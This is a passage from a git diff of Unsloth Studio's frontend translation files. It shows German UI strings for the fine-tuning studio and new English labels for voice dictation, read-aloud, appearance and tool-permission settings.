+          "Wenn Sie den Repository-Checkout noch haben, führen Sie den lokalen Installer daraus aus:",
+        restartAfterUpdate: "Starten Sie Unsloth nach dem Update neu.",
+        desktopManaged:
+          "Die Desktop-App hält ihr gebündeltes Backend aktuell und weist auf neue Versionen hin, sobald sie verfügbar sind.",
+        unknownInstall:
+          "Es konnte nicht erkannt werden, wie Unsloth installiert wurde. Verwenden Sie für Installer- oder PyPI-Installationen die obigen Befehle.",
+        localCheckout:
+          "Führen Sie bei lokalen Checkout-Installationen den lokalen Installer aus diesem Checkout aus:",
+        docs: "Installationsdokumentation:",
+        docsInstall: "Installation",
+        docsUpdating: "Aktualisierung",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Trainieren",
+    title: "Fine-Tuning-Studio",
+    subtitles: {
+      configure: "Training konfigurieren und starten",
+      trainingInProgress: "Training läuft",
+      viewPastRuns: "Frühere Trainingsläufe ansehen",
+      viewingPastRun: "Früheren Lauf ansehen",
+    },
+    tabs: {
+      configure: "Konfigurieren",
+      currentRun: "Aktueller Lauf",
+      history: "Verlauf",
+    },
+    loadingRuntime: "Trainingslaufzeit wird geladen...",
+    backToHistory: "Zurück zum Verlauf",
+    sections: {
+      model: "Modell",
+      dataset: "Datensatz",
+      params: "Parameter",
+      training: "Training",
+      charts: "Diagramme",
+      progress: "Trainingsfortschritt",
+    },
+    configure: {
+      title: "Konfigurieren",
+      description:
+        "Wählen Sie ein Modell, einen Datensatz und Trainingseinstellungen.",
+      startTraining: "Training starten",
+      starting: "Wird gestartet...",
+      loadingModel: "Modell wird geladen...",
+      checkingDataset: "Datensatz wird geprüft...",
+      trainingConfig: "Trainingskonfiguration",
+    },
+    model: {
+      title: "Modell",
+      description: "Basismodell und Trainingsmethode auswählen",
+      fasterTrainingBadge: "2x schnelleres Training",
+      baseModel: "Basismodell",
+      localModel: "Lokales Modell",
+      localModelTooltip:
+        "Pfad zu einem lokal heruntergeladenen Modell oder einem eigenen HF-Repo.",
+      scanningLocalAndCachedModels:
+        "Lokale und zwischengespeicherte Modelle werden gescannt...",
+      scanning: "Wird gescannt...",
+      scanningLocalModels: "Lokale Modelle werden gescannt...",
+      noLocalModelsFound: "Keine lokalen Modelle gefunden",
+      noLocalModelsFoundManual:
+        "Keine lokalen Modelle gefunden. Pfad manuell eingeben.",
+      failedToLoadLocalModels: "Lokale Modelle konnten nicht geladen werden",
+      hfCache: "HF-Cache",
+      customFolders: "Eigene Ordner",
+      localDir: "Lokales Verzeichnis",
+      huggingFaceModel: "Hugging Face Modell",
+      huggingFaceModelTooltip:
+        "Durchsuchen Sie Hugging Face Modelle oder wählen Sie aus unserer empfohlenen Liste.",
+      searchModels: "Modelle suchen...",
+      searching: "Wird gesucht...",
+      noModelsFound: "Keine Modelle gefunden",
+      needsVram: "Benötigt ~{vram} GB VRAM (GPU: {gpu} GB)",
+      tightVram: "~{vram} GB VRAM (knapp bei {gpu} GB)",
+      vramEstimate: "~{vram} GB VRAM",
+      method: "Methode",
+      methodTooltip:
+        "QLoRA nutzt 4-Bit-Quantisierung für minimalen VRAM. LoRA nutzt 16-Bit. Full aktualisiert alle Gewichte. CPT (Continued Pretraining) trainiert auf Rohtext, um das Modell ohne Chat-Formatierung an eine neue Domäne anzupassen.",
+      readMore: "Mehr erfahren",
+      fullFineTune: "Vollständiges Fine-Tuning",
+      checkingToken: "Token wird geprüft...",
+      getOrUpdateToken: "Token abrufen oder aktualisieren",
+      huggingFaceTokenOptional: "Hugging Face Token (optional)",
+      continuedPretraining: "Continued Pretraining",
+      localModels: "Lokale Modelle",
+      localModelsFound: "{count} lokale/zwischengespeicherte Modelle gefunden",
+      loadingLocalModels: "Lokale Modelle werden geladen...",
+    },
+    dataset: {
+      title: "Datensatz",
+      description: "Trainingsdaten auswählen oder hochladen",
+      source: "Datensatzquelle",
+      chooseDataset: "Datensatz auswählen",
+      chooseDatasetTooltip:
+        "Wechseln Sie über die Popup-Tabs zwischen Hugging Face und lokalen Recipe-Ausgaben.",
+      localTab: "Lokal",
+      searchHuggingFaceDatasets: "Hugging Face Datensätze suchen...",
+      searchLocalDatasets: "Lokale Datensätze suchen...",
+      searching: "Wird gesucht...",
+      noDatasetsFound: "Keine Datensätze gefunden",
+      loadingLocalDatasets: "Lokale Datensätze werden geladen...",
+      failedToLoadLocalDatasets:
+        "Lokale Datensätze konnten nicht geladen werden.",
+      noLocalDatasetsYet: "Noch keine lokalen Datensätze.",
+      noLocalDatasetsMatchSearch:
+        "Keine lokalen Datensätze entsprechen der Suche.",
+      openDataRecipes: "Data Recipes öffnen",
+      browsingSource:
+        "Sie durchsuchen {browsing}. Die aktuelle Auswahl bleibt {current}.",
+      localDatasets: "Lokale Datensätze",
+      localDataset: "Lokaler Datensatz",
+      localDatasetRows: " / {count} Zeilen",
+      huggingFaceDataset: "Hugging Face Datensatz",
+      localDatasetMetadata: "Metadaten des lokalen Datensatzes",
+      dataRecipeOutput: "Data-Recipe-Ausgabe.",
+      rows: "Zeilen",
+      columns: "Spalten",
+      batches: "Batches",
+      updated: "Aktualisiert",
+      evalDataset: "Eval-Datensatz",
+      uploading: "Wird hochgeladen...",
+      upload: "Hochladen",
+      uploadEvalFile: "Eval-Datei hochladen",
+      evalDatasetDescription:
+        "Optional. Wird keiner angegeben, wird ein kleiner Teil aus den Trainingsdaten abgetrennt.",
+      advanced: "Erweitert",
+      targetFormat: "Zielformat",
+      targetFormatTooltip:
+        "Format Ihrer Trainingsdaten. Die automatische Erkennung funktioniert bei den meisten Datensätzen.",
+      auto: "Automatisch",
+      rawText: "Rohtext",
+      trainSplitStart: "Trainings-Split-Start",
+      trainSplitStartTooltip:
+        "Trainieren Sie nur auf einer Teilmenge Ihres Trainings-Splits, indem Sie einen Startzeilenindex angeben (inklusive, 0-basiert). Leer lassen, um bei der ersten Zeile zu beginnen.",
+      trainSplitEnd: "Trainings-Split-Ende",
+      trainSplitEndTooltip:
+        "Letzter aus dem Trainings-Split einzuschließender Zeilenindex (inklusive, 0-basiert). Setzen Sie z. B. Start auf 0 und Ende auf 99, um auf den ersten 100 Zeilen zu trainieren. Leer lassen, um alle verbleibenden Zeilen zu verwenden.",
+      endPlaceholder: "Ende",
+      clear: "Leeren",
+      dropFileOrClick: "1 Datei hier ablegen oder zum Hochladen klicken",
+      viewDataset: "Datensatz ansehen",
+      uploadFailed: "Upload fehlgeschlagen",
+      unknownError: "Unbekannter Fehler",
+      unsupportedFileType: "Nicht unterstützter Dateityp",
+      uploadOneFileType: "Laden Sie eine {types}-Datei hoch.",
+      datasetUploaded: "Datensatz hochgeladen",
+      evalDatasetUploaded: "Eval-Datensatz hochgeladen",
+      uploadOneFileAtATime: "Laden Sie jeweils eine Datei hoch",
+      uploadSingleFileDescription:
+        "Der Trainingsdatensatz-Upload akzeptiert eine einzelne Datei.",
+      checkingToken: "Token wird geprüft...",
+      getOrUpdateToken: "Token abrufen oder aktualisieren",
+      preview: "Datensatz-Vorschau",
+      split: "Split",
+      subset: "Teilmenge",
+      s3: {
+        title: "S3-Konfiguration",
+        description:
+          "Laden Sie .parquet-, .json-, .jsonl- oder .csv-Datensätze aus Amazon S3",
+        bucket: "Bucket-Name",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "AWS-Region",
+        regionPlaceholder: "us-east-1",
+        prefix: "Pfad-Präfix",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip:
+          "Optionaler Pfad innerhalb des Buckets zu Ihren Datensatzdateien",
+        accessKeyId: "Access Key ID",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Secret Access Key",
+        secretAccessKeyPlaceholder: "Ihr AWS Secret Access Key",
+        useIamRole: "IAM-Rolle verwenden",
+        useIamRoleTooltip:
+          "Verwenden Sie IAM-Rollen-Anmeldedaten statt Access Keys (empfohlen für EC2/SageMaker)",
+        testConnection: "Verbindung testen",
+        connectionSuccess: "Erfolgreich mit S3-Bucket verbunden",
+        connectionFailed: "Verbindung zum S3-Bucket fehlgeschlagen",
+        comingSoon: "S3-Integration folgt bald",
+        comingSoonDescription:
+          "Das Laden von S3-Datensätzen erfordert boto3. Diese Funktion befindet sich in Entwicklung.",
+      },
+    },
+    params: {
+      title: "Parameter",
+      description: "Trainings-Hyperparameter konfigurieren",
+      projectName: "Projektname",
+      optional: "Optional",
+      projectNameDescription:
+        "Wird für Namen der Trainingsausgabe-Ordner, Export-Standardwerte und den Verlauf verwendet.",
+      loraSettings: "LoRA-Einstellungen",
+      trainingHyperparameters: "Trainings-Hyperparameter",
+      maxSteps: "Max. Schritte",
+      epochs: "Epochen",
+      useMaxSteps: "Max. Schritte verwenden",
+      useEpochs: "Epochen verwenden",
+      maxStepsTooltip: "Überschreibt die gesamten Optimierer-Schritte.",
+      epochsTooltip: "Anzahl vollständiger Durchläufe über den Datensatz.",
+      epochsDescription:
+        "Jede Epoche ist ein vollständiger Durchlauf über Ihren Datensatz.",
+      maxStepsDescription:
+        "Begrenzt das Training auf eine feste Anzahl von Optimierer-Schritten.",
+      contextLength: "Kontextlänge",
+      contextLengthTooltip:
+        "Maximale Anzahl an Token pro Trainingsbeispiel.",
+      customContextLength: "Eigenen Wert eingeben",
+      contextLengthDescription:
+        "Maximale Sequenzlänge für Trainingsbeispiele",
+      learningRate: "Lernrate",
+      learningRateTooltip:
+        "Schrittgröße für Gewichtsaktualisierungen. Niedrigere Werte trainieren langsamer, aber stabiler.",
+      learningRateDescription:
+        "Empfohlen: 2e-4 für LoRA, 5e-5 für CPT, 2e-5 für vollständiges Fine-Tuning",
+      embeddingLearningRate: "Embedding-Lernrate",
+      embeddingLearningRateTooltip:
+        "Wird nur verwendet, wenn CPT embed_tokens trainiert. Embeddings destabilisieren leichter als LoRA-Gewichte und benötigen daher meist eine kleinere Lernrate. Leer lassen, um lr/10 zu verwenden; typischer Bereich ist 2- bis 10-mal kleiner als die Haupt-Lernrate. Erhöhen Sie sie nur, wenn die Anpassung von Vokabular oder Domänen-Token zu langsam ist.",
+      embeddingLearningRateDescription:
+        "Leer lassen, um lr/10 zu verwenden (empfohlen). Typischer Bereich ist 2- bis 10-mal kleiner als die Haupt-Lernrate.",
+      rank: "Rank",
+      rankTooltip:
+        "Dimension der Low-Rank-Matrizen. Höher = mehr Kapazität.",
+      alpha: "Alpha",
+      alphaTooltip:
+        "Skalierungsfaktor für LoRA-Updates. Üblicherweise 2x Rank.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Dropout-Wahrscheinlichkeit für LoRA-Schichten, um Overfitting zu reduzieren.",
+      visionLayers: "Vision-Schichten",
+      languageLayers: "Sprach-Schichten",
+      attentionModules: "Attention-Module",
+      mlpModules: "MLP-Module",
+      targetModules: "Ziel-Module",
+      enableLora: "LoRA aktivieren",
+      trainWithLora: "Mit LoRA trainieren",
+      stableRank: "Stable Rank",
+      memoryEfficient: "Speichereffizient",
+      optimization: "Optimierung",
+      schedule: "Zeitplan",
+      memory: "Speicher",
+      optimizer: "Optimierer",
+      optimizerTooltip:
+        "Optimierungsalgorithmus. 8-Bit-Varianten reduzieren den Speicherbedarf. Fused wird für Vision-Modelle empfohlen.",
+      lrScheduler: "LR-Scheduler",
+      lrSchedulerTooltip:
+        "Wie sich die Lernrate über das Training verändert. Linear fällt gleichmäßig; Cosine fällt in einer Kurve.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "Batch-Größe",
+      batchSizeTooltip:
+        "Pro Schritt verarbeitete Beispiele. Höher verbraucht mehr VRAM.",
+      gradAccum: "Grad-Akkumulation",
+      gradAccumTooltip:
+        "Simuliert größere Batch-Größen ohne zusätzlichen VRAM.",
+      weightDecay: "Weight Decay",
+      weightDecayTooltip: "L2-Regularisierung zur Vermeidung von Overfitting.",
+      warmupSteps: "Warmup-Schritte",
+      warmupStepsTooltip:
+        "Erhöht die Lernrate zu Trainingsbeginn schrittweise für mehr Stabilität.",
+      scheduleEpochsTooltip:
+        "Anzahl vollständiger Durchläufe über den Datensatz. Auf 0 setzen, um nach max. Schritten zu laufen.",
+      saveSteps: "Speicher-Schritte",
+      saveStepsTooltip:
+        "Speichert alle N Schritte einen Checkpoint. 0 zum Deaktivieren.",
+      evalSteps: "Eval-Schritte",
+      evalStepsTooltip:
+        "Anteil der gesamten Trainingsschritte zwischen Auswertungen (0-1). Auf 0 setzen, um die Auswertung zu deaktivieren. Z. B. 0.01 = alle 1 % der Schritte auswerten.",
+      seed: "Seed",
+      seedTooltip: "Zufalls-Seed für Reproduzierbarkeit.",
+      gradCheckpoint: "Grad-Checkpoint",
+      gradCheckpointTooltip:
+        "Rechenaufwand gegen Speicher tauschen, indem Aktivierungen neu berechnet werden.",
+      none: "Keine",
+      standard: "Standard",
+      enablePacking: "Packing aktivieren",
+      assistantCompletionsOnly: "Nur Assistenten-Antworten",
+      readMore: "Mehr erfahren",
+    },
+    training: {
+      title: "Training",
+      description: "Training überwachen und steuern",
+      chartNoDataTitle: "Noch keine Trainingsdaten",
+      chartNoDataDescription:
+        "Starten Sie das Training, um den Loss-Verlauf zu sehen",
+      startTraining: "Training starten",
+      starting: "Wird gestartet...",
+      loadingModel: "Modell wird geladen...",
+      checkingDataset: "Datensatz wird geprüft...",
+      configLabel: "Trainingskonfiguration",
+      upload: "Hochladen",
+      uploadConfigTooltip: "Eine gespeicherte YAML-Konfiguration laden",
+      save: "Speichern",
+      saveConfigTooltip: "Aktuelle Konfiguration als YAML herunterladen",
+      reset: "Zurücksetzen",
+      resetConfigTooltip: "Auf Modellstandardwerte zurücksetzen",
+      configLoaded: "Konfiguration geladen",
+      failedToLoadConfig: "Konfiguration konnte nicht geladen werden",
+      invalidYamlFile: "Ungültige YAML-Datei",
+      failedToReadFile: "Datei konnte nicht gelesen werden",
+      parametersReset: "Parameter auf Modellstandardwerte zurückgesetzt",
+      audioIncompatible:
+        "Dieses Modell unterstützt kein Audio. Wechseln Sie zu einem audiofähigen Modell oder wählen Sie einen Nicht-Audio-Datensatz.",
+      visionIncompatible:
+        "Ein Textmodell ist mit einem multimodalen Datensatz nicht kompatibel. Wechseln Sie zu einem Vision-Modell oder wählen Sie einen reinen Textdatensatz.",
+      cancelTitle: "Training abbrechen",
+      cancelDescription:
+        "Möchten Sie den aktuellen Trainingslauf abbrechen?",
+      continueAction: "Training fortsetzen",
+      cancelAction: "Training abbrechen",
+      stopTitle: "Training stoppen",
+      stopDescription:
+        "Wählen Sie, wie Sie den aktuellen Trainingslauf stoppen möchten.",
+      stopAction: "Stoppen",
+      stopping: "Wird gestoppt...",
+      stopAndSave: "Stoppen und speichern",
+      compareInChat: "Im Chat vergleichen",
+      exportModel: "Modell exportieren",
+      milestone: "Meilenstein",
+      halfwayDone: "Zur Hälfte fertig. Das Training ist über 50 %.",
+      doneNextStep:
+        "Training abgeschlossen. Nächster Schritt: Basis- und feinabgestimmte Ausgaben vergleichen.",
+    },
+    history: {
+      title: "Verlauf",
+      emptyTitle: "Noch keine Trainingsläufe",
+      emptyDescription:
+        "Noch keine Trainingsläufe. Starten Sie Ihren ersten Trainingslauf im Tab \"Konfigurieren\".",
+      loadError: "Trainingsläufe konnten nicht geladen werden",
+      deleteError:
+        "Trainingslauf konnte nicht gelöscht werden. Bitte erneut versuchen.",
+      retry: "Erneut versuchen",
+      loadMore: "Mehr laden",
+      loading: "Wird geladen...",
+      loadingRun: "Trainingslauf wird geladen...",
+      runNotFound: "Lauf nicht gefunden",
+      deleteTitle: "Trainingslauf löschen?",
+      deleteDescription:
+        "Dadurch werden dieser Trainingslauf und alle seine Metriken dauerhaft gelöscht. Diese Aktion kann nicht rückgängig gemacht werden.",
+      runCount: "{count} Läufe",
+      oneRun: "1 Lauf",
+      resume: "Fortsetzen",
+      resumeTraining: "Training fortsetzen",
+      resuming: "Wird fortgesetzt...",
+      deleteRun: "Lauf löschen",
+      loss: "Loss",
+      steps: "Schritte",
+      lossTrendSparkline: "Loss-Trend-Sparkline",
+      relativeJustNow: "gerade eben",
+      relativeMinutesAgo: "vor {count} Min.",
+      relativeHoursAgo: "vor {count} Std.",
+      relativeDaysAgo: "vor {count} T",
+      status: {
+        completed: "Abgeschlossen",
+        stopped: "Gestoppt",
+        error: "Fehler",
+        running: "Läuft",
+        continued: "Fortgesetzt",
+      },
+      message: {
+        completed: "Training abgeschlossen",
+        stopped: "Training gestoppt",
+        running: "Training läuft",
+        errored: "Training fehlgeschlagen",
+      },
+      copyPreviewLink: "Vorschaulink kopieren",
+      previewLinkCopied: "Vorschaulink kopiert",
+      previewLinkCopyFailed: "Der Link konnte nicht kopiert werden",
+    },
+    charts: {
+      settings: "Diagramm-Einstellungen",
+      settingsDescription:
+        "Passen Sie die Diagrammdarstellung an, während das Training weiterläuft.",
+      openSettings: "Diagramm-Einstellungen öffnen",
+      viewWindow: "Ansichtsfenster",
+      viewWindowDescription:
+        "Nur die neuesten Schritte oder den gesamten Verlauf anzeigen.",
+      window: "Fenster",
+      all: "Alle",
+      trainingLoss: "Trainings-Loss",
+      trainingLossDescription: "Overlays und EMA-Glättung steuern.",
+      smoothing: "Glättung",
+      smoothingDescription:
+        "Nach rechts bewegen für mehr Glättung. `0` = Rohdaten.",
+      showRawLoss: "Roh-Loss anzeigen",
+      showSmoothedLoss: "Geglätteten Loss anzeigen",
+      showAverageLine: "Durchschnittslinie anzeigen",
+      scaleAndCleanup: "Skala und Bereinigung",
+      linear: "Linear",
+      log: "Logarithmisch",
+      noClip: "Kein Clipping",
+      clipP99: "Clip p99",
+      clipP95: "Clip p95",
+      lossAxis: "Loss-Achse",
+      gradientNormAxis: "Gradientennorm-Achse",
+      learningRateAxis: "Lernraten-Achse",
+      resetDefaults: "Standardwerte zurücksetzen",
+      loss: "Loss",
+      smoothed: "Geglättet",
+      evalLoss: "Eval-Loss",
+      learningRate: "Lernrate",
+      lr: "LR",
+      gradNorm: "Grad-Norm",
+      gradientNorm: "Gradientennorm",
+      step: "Schritt {step}",
+      averageValue: "Ø {value}",
+      waitingForFirstEvaluationStep:
+        "Warte auf ersten Auswertungsschritt...",
+      evaluationNotConfigured: "Auswertung nicht konfiguriert",
+      evalChartWillAppear:
+        "Das Diagramm erscheint, sobald eval_steps erreicht ist",
+      setEvalDatasetAndSteps:
+        "Legen Sie Eval-Datensatz & eval_steps fest, um den Eval-Loss zu verfolgen",
+    },
+    progress: {
+      title: "Trainingsfortschritt",
+      liveMetrics: "Live-Trainingsmetriken",
+      exportGguf: "Nach GGUF exportieren",
+      openConfig: "Trainingskonfiguration öffnen",
+      configLabel: "Trainingskonfiguration",
+      hyperparams: "Hyperparameter",
+      epochs: "Epochen",
+      batchSize: "Batch-Größe",
+      learningRate: "Lernrate",
+      optimizer: "Optimierer",
+      maxSteps: "Max. Schritte",
+      contextLength: "Kontextlänge",
+      warmupSteps: "Warmup-Schritte",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Variante",
+      epoch: "Epoche {value}",
+      percentComplete: "{percent}% abgeschlossen",
+      stepProgress: "Schritt {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "Grad-Norm",
+      project: "Projekt",
+      model: "Modell",
+      method: "Methode",
+      elapsed: "Vergangen: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} Schritte/s",
+      noStepsPerSecond: "-- Schritte/s",
+      tokens: "Token: {value}",
+      gpuMonitor: "GPU-Monitor",
+      live: "Live",
+      utilization: "Auslastung",
+      temperature: "Temperatur",
+      vram: "VRAM",
+      power: "Leistung",
+      phase: {
+        idle: "Inaktiv",
+        downloadingModel: "Modell wird heruntergeladen",
+        downloadingDataset: "Datensatz wird heruntergeladen",
+        loadingModel: "Modell wird geladen",
+        loadingDataset: "Datensatz wird geladen",
+        configuring: "Wird konfiguriert",
+        training: "Training",
+        completed: "Abgeschlossen",
+        error: "Fehler",
+        stopped: "Gestoppt",
+      },
+    },
+    trainingStart: {
+      ready: "Bereit",
+      downloading: "Wird heruntergeladen",
+      preparing: "Wird vorbereitet",
+      left: "{eta} verbleibend",
+      downloaded: "{size} heruntergeladen",
+      terminalStart: "> Unsloth-Training beginnt...",
+      preparingResources: "> Modell und Datensatz werden vorbereitet...",
+      gettingReady: "> Wir bereiten alles für Ihren Lauf vor...",
+      waitingForFirstStep:
+        "> {message} | warte auf ersten Schritt... ({step})",
+      resumingTraining: "Training wird fortgesetzt...",
+      startingTraining: "Training wird gestartet...",
+      dataset: "Datensatz",
+      datasetStreaming: "Datensatz: Streaming (kein vollständiger Download)",
+      modelWeights: "Modellgewichte",
+    },
+    tour: {
+      guidedTour: "Geführte Tour",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 3d73ad4343..a0f9bfc1cd 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -32,15 +32,16 @@ export const en = {
       runOptions: "Run options",
     },
     navigation: {
-      newChat: "New Chat",
+      newChat: "New chat",
       returnToChat: "Return to Chat",
       compare: "Compare",
       search: "Search",
-      hub: "Hub",
+      hub: "Models",
       train: "Train",
       recipes: "Recipes",
       export: "Export",
       recents: "Recents",
+      noChatsYet: "No chats yet",
       settings: "Settings",
       api: "API",
       lightMode: "Light Mode",
@@ -87,6 +88,8 @@ export const en = {
       title: "Settings",
       description: "Manage your Unsloth preferences.",
       closeAriaLabel: "Close settings",
+      searchPlaceholder: "Search settings…",
+      searchNoResults: "No settings found.",
     },
     tabs: {
       general: "General",
@@ -94,10 +97,141 @@ export const en = {
       appearance: "Appearance",
       resources: "System",
       chat: "Chat",
+      voice: "Voice",
       connections: "Connections",
+      data: "Data",
       apiKeys: "API",
       about: "About",
     },
+    voice: {
+      title: "Voice",
+      description: "Microphone, dictation, speech-to-text and read-aloud",
+      dictation: {
+        sectionTitle: "Dictation",
+        engineLabel: "Dictation engine",
+        engineBrowser: "Browser",
+        engineBrowserDescription:
+          "Transcribes audio using your browser speech service. Select 'Local transcription' to use a STT model.",
+        engineModel: "Local transcription",
+        engineModelDescription:
+          "Runs a speech-to-text (STT) model locally and works offline. Download, load, then unloads after inactivity.",
+        sttModelLabel: "Speech recognition model",
+        sttModelDescription: "Choose or search a STT model to run locally.",
+        sttModelSearchPlaceholder: "Search model",
+        sttModelSearching: "Searching Hugging Face…",
+        sttModelValidating: "Checking Whisper compatibility…",
+        sttModelNoResults: "No Whisper models found",
+        sttModelInvalid: "This repository cannot be used for dictation",
+        sttModelFailed: "Could not load the STT model",
+        sttModelUnsupported: "Recording is not supported in this browser",
+        sttChecking: "Checking…",
+        sttOnDemand: "Downloaded",
+        sttLoadingModel: "Loading model…",
+        sttReady: "Loaded on {device}",
+        sttLoaded: "Loaded",
+        sttUnavailable:
+          "Not installed on this server. Run `unsloth studio update` to enable local dictation.",
+        sttRetry: "Retry",
+        sttDownloadChecking: "Checking download status…",
+        sttNotDownloaded: "Not downloaded",
+        sttDownloadStatusFailed: "Could not check download status",
+        sttDownload: "Download",
+        sttDownloading: "Downloading… {progress}%",
+        sttCancelDownload: "Cancel",
+        sttCancellingDownload: "Cancelling…",
+        sttDownloadComplete: "Speech recognition model downloaded",
+        sttDownloadFailed: "Could not download the speech recognition model",
+        sttLoad: "Load",
+        sttUnload: "Unload",
+        sttUnloading: "Unloading…",
+        microphoneLabel: "Microphone",
+        microphoneDescription: "Used for dictation",
+        microphoneFallbackHint:
+          "Used for dictation. Falls back to the system default if the browser speech engine cannot use this device",
+        microphoneGrantDescription: "Allow mic access to show device names",
+        allowMicrophone: "Allow microphone",
+        micAccessBlocked:
+          "Microphone access was blocked. Allow microphone access for this Unsloth page, then try again.",
+        micAccessUnsupported:
+          "Microphone access is not supported in this browser or context.",
+        systemDefault: "System default",
+        savedMicDisconnected: "Saved microphone (not connected)",
+        languageLabel: "Dictation language",
+        languageDescription: "Language to recognize",
+        languageAuto: "Auto (browser language)",
+      },
+      dictionary: {
+        sectionTitle: "Dictation dictionary",
+        sectionDescription: "Set how dictation spells specific words or phrases",
+        manageLabel: "Custom spellings",
+        manage: "Manage",
+        backToVoice: "Back to Voice",
+        addEntry: "Add entry",
+      },
+      recents: {
+        sectionTitle: "Dictation history",
+        sectionDescription:
+          "Every dictation is saved here so you can recover text",
+        manageLabel: "Dictation history",
+        manage: "Manage",
+        pageDescription:
+          "Every dictation is saved. View, copy, or delete them, or open the chat a dictation was used in.",
+        searchPlaceholder: "Search dictations",
+        sortLabel: "Sort dictations",
+        sortNewest: "Newest",
+        sortOldest: "Oldest",
+        sortAlpha: "A to Z",
+        noMatches: "No dictations match your search",
+        detailTitle: "Saved dictation",
+        backToVoice: "Back to Voice",
+        backToRecents: "Back to recent dictations",
+        view: "View full dictation",
+        empty: "No dictations yet",
+        dictationColumn: "Dictation",
+        dateColumn: "Date created",
+        copy: "Copy dictation",
+        copied: "Copied to clipboard",
+        copyFailed: "Could not copy to clipboard",
+        delete: "Delete dictation",
+        deleteTitle: "Delete dictation",
+        deleteDescription:
+          "Delete this saved dictation? This cannot be undone.",
+        deleteLinkedDescription:
+          "Delete this saved dictation? You can also delete the chat it was used in. This cannot be undone.",
+        deleteWithChat: "Delete chat and dictation",
+        deleteWithChatFailed: "Could not delete the chat",
+        clear: "Clear history",
+        clearTitle: "Clear dictation history",
+        clearDescription: "Delete all saved dictations? This cannot be undone.",
+        clearConfirm: "Clear all",
+        showMore: "Show more ({count})",
+        openChat: "Open chat",
+      },
+      readAloud: {
+        sectionTitle: "Read aloud",
+        buttonLabel: "Read aloud button",
+        buttonDescription: "Show on assistant responses",
+        engineLabel: "TTS engine",
+        engineSystemDescription: "Built-in device voices",
+        engineStudioDescription: "Uses the loaded audio model (e.g. Orpheus)",
+        engineSystem: "System voices",
+        engineStudio: "Load TTS model",
+        modelLabel: "TTS model",
+        modelDescription:
+          "Load an audio model from the model selector (e.g. Orpheus TTS)",
+        voiceLabel: "Voice",
+        voiceDescription: "Best voices on this device",
+        speedLabel: "Speed",
+        pitchLabel: "Pitch",
+        volumeLabel: "Volume",
+        previewLabel: "Preview voice",
+        previewDescription: "Play a short sample",
+        previewAction: "Preview",
+        stopAction: "Stop",
+        ttsLabel: "Text to speech",
+        notSupported: "Not supported in this browser",
+      },
+    },
     general: {
       title: "General",
       description: "Global preferences for Unsloth.",
@@ -107,9 +241,9 @@ export const en = {
         "Used to load gated models and push artifacts.",
       hideToken: "Hide token",
       showToken: "Show token",
-      tokenSaved: "Token saved",
+      tokenValidated: "Token validated",
       password: "Password",
-      passwordDescription: "Change the password for this Studio account.",
+      passwordDescription: "Change the password for this Unsloth account.",
       passwordDialog: {
         trigger: "Change password",
         title: "Change password",
@@ -121,6 +255,7 @@ export const en = {
         currentTooShort:
           "Current password must be at least {minLength} characters.",
         newTooShort: "New password must be at least {minLength} characters.",
+        newHasSpaces: "New password cannot contain spaces.",
         mismatch: "Passwords do not match.",
         samePassword:
           "New password must be different from your current password.",
@@ -150,14 +285,17 @@ export const en = {
           "When an OpenAI-compatible request names a different downloaded GGUF, load it before serving. Off by default; unknown names keep serving the loaded model.",
         idleUnload: "Idle auto-unload",
         idleUnloadDescription:
-          "Unload the model after this many idle seconds to free VRAM; the next request reloads it. 0 keeps it loaded.",
+          "Unload the model after this many idle seconds to free VRAM; the next request reloads it. 0 keeps it loaded. Minimum 60 seconds.",
         idleNeedsEnable:
           "Turn on Switch model by request so an unloaded model reloads on next use.",
         idleActiveViaEnv:
           "Idle auto-unload is active via the UNSLOTH_MODEL_IDLE_TTL environment variable.",
         loadError: "Failed to load model auto-switch settings.",
         saveError: "Failed to save model auto-switch settings.",
-        idleError: "Enter a whole number of seconds (0 or more).",
+        idleError: "Enter 0 to keep the model loaded, or at least 60 seconds.",
+        keepKv: "Keep chat context across idle unload",
+        keepKvDescription:
+          "Save the model's KV cache to disk before an idle unload and restore it on reload, so resumed chats skip re-reading their history. Chat context is written to disk (up to 10 GB) until it is restored or cleaned up.",
       },
       previewSharing: {
         sectionTitle: "Preview sharing",
@@ -178,6 +316,12 @@ export const en = {
         revoked: "All preview links revoked",
         revokeError: "Couldn't revoke preview links",
       },
+      permissions: {
+        sectionTitle: "Permissions",
+        bypassLabel: "Tool permissions",
+        bypassDescription:
+          "How Unsloth approves chat tool calls (terminal, python, web, MCP) before they run. Full access disables approvals and the code sandbox.",
+      },
       notifications: {
         sectionTitle: "Notifications",
         showLlamaUpdates: "llama.cpp update notifications",
@@ -241,7 +385,11 @@ export const en = {
       avatarShape: "Profile picture shape",
       avatarShapeCircle: "Circle",
       avatarShapeRounded: "Rounded",
-      chooseSloth: "Or pick a sloth",
+      greetingSloth: "Sloth in greeting",
+      greetingSlothDescription: "Show the sloth in the chat greeting.",
+      chooseSloth: "Or pick a sloth profile picture",
+      noPicture: "No profile picture",
+      noneLabel: "None",
       nameSaved: "Profile name saved",
       namePersistErrorTitle: "Could not persist profile name",
       namePersistErrorDescription:
@@ -264,10 +412,97 @@ export const en = {
         light: "Light",
         dark: "Dark",
       },
+      palette: {
+        label: "Color palette",
+        description: "Colors used across Unsloth, in light and dark mode.",
+        standard: "Standard",
+        classic: "Classic",
+        minimal: "Minimal",
+      },
+      custom: {
+        reset: "Reset",
